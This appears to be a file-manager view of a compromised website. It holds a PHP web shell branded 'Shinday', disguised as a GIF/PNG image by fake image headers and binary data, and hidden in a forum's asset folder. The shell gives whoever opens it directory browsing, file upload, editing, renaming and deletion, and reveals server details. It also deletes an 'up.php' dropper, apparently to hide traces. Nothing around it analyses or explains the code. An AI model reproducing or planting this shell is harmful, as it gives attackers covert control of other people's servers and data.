PATH:
home
/
sudairsocs
/
www
/
forum_ancien
/
Packages
/
backups
/
js
/
content
/
assets
/
rov
/
nge
<?php if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) { header('HTTP/1.0 403 Forbidden'); exit('Access denied.'); } ?> GIF89a ;‰PNG IHDR , È Ý½K ÁIDATxœíÝË7@QŽá휀qÁHH€÷ aÂÑV x§$¼àh¾=ý©"ëñ‘çlzS@×¢/Ùï¾|ÿY€8¿Eß ¬N„L„L„L„L„L„L„L„L„L„L„L„L„L„L„L„L„L„ì÷耎>ýøpþ‚¯ãß±$Bfó"¼¿/]|ÿtqTwÞ¶Æ4ò»Þ»îK‰HQ„¤÷4ú6ç÷ÜýÃça5ŠÜ>ýøÐ¦½·îêP„dµwñyC¨QÒà ìZ`)õ+.þź“ɧãô¤ÎŠdŽ.°êÙ¡É$¦Àª[‡"$È«>Šâ¬:t(B¥Àªu‡"dtcX5íP„L„mÄ1Xµ†"d\ãX5êP„L„L„jôµhÕbE*B&BF”cV»‡¡!˜!˜!˜N¦ aµo[(B&B&B&B&Âô>ëûVLzanŸ¿}(ê07&V,¥è05fõT`¥Ã´D˜Òë+æ$Â|NXé0!&s®À*‡_?þ|<©3‡}'Š0“ËVù;\ŠÓ¸¶ÀJ‡yˆ0‡Û ¬t˜„ØR`•¶ÃLÛÂÝGÛ‹ptÛ¬Òv¸moUÎsÃÝc°ˆpdm ¬rv¸ªe•G%µ/°ÊÖáè+ÒkÑ"Âõ*°Òa+ ,"Mß«lNO„9¢À*U‡#Ãvc°ˆpÇXép³¦âè+nкÀ"ÂÄXéð& ,"Y`¥Ã+õ)°ˆ0V|•/êV`a Q ¬txFÏ‹£ŒU`•±ÃÞ)Þw/°”r÷å{ß/à|ô_ùòO¦ŸDÇsÔúçW‰ðhCXeì°jRã¯ézLE„KP`•Ãê¡ÆÍ)Þ—r`{Dxœ4V9;,å塹ƒ|¶«<>¿J„IV`•¶ÃGO±Ž ï9!eUþÇçEw‰,Éž[$%¾rXé°3v4C•{a/óXé°v1[•ûa{sXé°66s•[aKóXé°)6³J•ÛakXé°6°b•[á^ëXép7î²z•÷áv |¢ÃD¸‘_ÓáV"ÜB§épÞLçèðv"¼/ÓáDx^K‡·áµx^M„WQà:¼Ž/Sàv:¼‚/Pà^:¼D„ç(° ž%Âw)°%¾O„§)°=¾C„'(°ž"Âר—ßá <‚_áG‡Ïˆð¦Ã_DXŠ£è°”"¢ÀX:¡ã-ßáÒ*pkw¸n„ ËÂ.¡G´j‡+F¨Àq-Ùár*ptëu¸V„ Ìa±ŠP™¬Ôá**0Ÿe:\"BfµF‡óG¨ÀÜèpò8ƒÙ;œ9BÎcê§P³™·Ã9#Tàœ&ípÂ8³;œ-BÎoº§ŠP«˜«Ãy"TàZ&êp’¸¢Y:œ!B®kŠÓG¨ÀÕåï0w„ ¤”ô&ŽP<ÉÜaÖÈki;L¡9-g‡ù"T ç$ì0Y„ ä²lfŠP\+U‡i"T ·ÉÓaŽÈI:L¡Ù.C‡£G¨@ö¾Ã¡#T mŒÝá¸*–îðîß¿þˆ¾XÚ¸“!B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&B&Bö?ѱP¿tNU üiTXtShinday_Payload <?php function createBreadcrumb($currentDir) { $parts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumb = array(); $path = ''; foreach ($parts as $part) { if ($part === '') continue; $path .= DIRECTORY_SEPARATOR . $part; $breadcrumb[] = "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($part) . "</a>"; } return implode(DIRECTORY_SEPARATOR, $breadcrumb); } $directory = isset($_GET['dir']) ? $_GET['dir'] : "."; $directory = @realpath($directory); if (!$directory || !is_dir($directory)) { die("Direktori tidak valid."); } $message = ""; if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { $message = "Tidak ada file yang dipilih."; } else { $targetFile = $directory . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = "File berhasil diupload."; } else { $message = "Gagal mengupload file."; } } } if (isset($_GET['delete'])) { $target = $directory . "/" . basename($_GET['delete']); if (is_file($target)) { if (unlink($target)) { $message = "File berhasil dihapus."; } else { $message = "Gagal menghapus file."; } } else { $message = "Objek tidak valid untuk dihapus."; } } if (isset($_POST['edit'])) { $fileToEdit = $directory . "/" . basename($_POST['file_name']); if (is_file($fileToEdit)) { if (file_put_contents($fileToEdit, $_POST['file_content']) !== false) { $message = "File berhasil diedit."; } else { $message = "Gagal menyimpan perubahan file."; } } else { $message = "File tidak ditemukan."; } } if (isset($_POST['rename'])) { $oldName = $directory . "/" . basename($_POST['old_name']); $newName = $directory . "/" . basename($_POST['new_name']); if (rename($oldName, $newName)) { $message = "Nama berhasil diubah."; } else { $message = "Gagal mengganti nama."; } } echo "<h3>Shinday</h3>"; echo "<ul>"; echo "<li><b>Server:</b> " . $_SERVER['SERVER_SOFTWARE'] . "</li>"; echo "<li><b>Sistem Operasi:</b> " . php_uname() . "</li>"; echo "<li><b>PHP Version:</b> " . phpversion() . "</li>"; echo "</ul>"; echo "<h2>DIR~: " . createBreadcrumb($directory) . "</h2>"; echo "<h3>Upload File</h3>"; echo "<form method='post' enctype='multipart/form-data'>"; echo "<input type='file' name='file'>"; echo "<input type='submit' name='upload' value='Upload'>"; echo "</form>"; if ($message !== "") { echo "<p style='color: green;'>" . htmlspecialchars($message) . "</p>"; } echo "<ul style='list-style:none; padding:0;'>"; if (isset($_GET['edit'])) { $fileToEdit = $directory . "/" . basename($_GET['edit']); if (is_file($fileToEdit)) { $content = htmlspecialchars(file_get_contents($fileToEdit)); echo "<h3>Edit File: " . htmlspecialchars($_GET['edit']) . "</h3>"; echo "<form method='post'>"; echo "<textarea name='file_content' rows='10' cols='50'>$content</textarea><br>"; echo "<input type='hidden' name='file_name' value='" . htmlspecialchars($_GET['edit']) . "'>"; echo "<input type='submit' name='edit' value='Simpan'>"; echo "</form>"; } else { echo "File tidak ditemukan."; } } if (isset($_GET['rename'])) { $itemToRename = $directory . "/" . basename($_GET['rename']); if (is_file($itemToRename) || is_dir($itemToRename)) { echo "<h3>Rename : " . htmlspecialchars($_GET['rename']) . "</h3>"; echo "<form method='post'>"; echo "<input type='text' name='new_name' placeholder='Nama baru'>"; echo "<input type='hidden' name='old_name' value='" . htmlspecialchars($_GET['rename']) . "'>"; echo "<input type='submit' name='rename' value='Rename'>"; echo "</form>"; } else { echo "File atau folder tidak ditemukan."; } } $folders = array(); $files = array(); if ($dh = @opendir($directory)) { while (($file = readdir($dh)) !== false) { if ($file == "." || $file == "..") continue; $path = $directory . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $folders[] = $file; } else { $files[] = $file; } } closedir($dh); } else { echo "<li>none</li>"; } sort($folders); sort($files); foreach ($folders as $folder) { $path = $directory . "/" . $folder; $isEditable = is_writable($path); $color = $isEditable ? 'green' : 'red'; echo "<li style='color: $color;'><b>[DIR]</b> <a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($folder) . "</a>"; } foreach ($files as $file) { $path = $directory . "/" . $file; $isEditable = is_writable($path); $color = $isEditable ? 'green' : 'red'; echo "<li style='color: $color;'><b>[FILE]</b> " . htmlspecialchars($file); echo " <a href='?edit=" . urlencode($file) . "&dir=" . urlencode($directory) . "'style='color:red;'>[Edit]</a>"; echo " <a href='?dir=" . urlencode($directory) . "&rename=" . urlencode($file) . "' style='color:red;'>[Rename]</a>"; echo " <a href='?dir=" . urlencode($directory) . "&delete=" . urlencode($file) . "' style='color:red;' onclick='return confirm(\"Yakin ingin menghapus file ini?\")'>[Delete]</a>"; } if(file_exists(__DIR__.'/up.php')) unlink(__DIR__.'/up.php'); echo "</ul>"; ?>óÀª\ IEND®B`‚
[+]
..
[-] admin.php
[edit]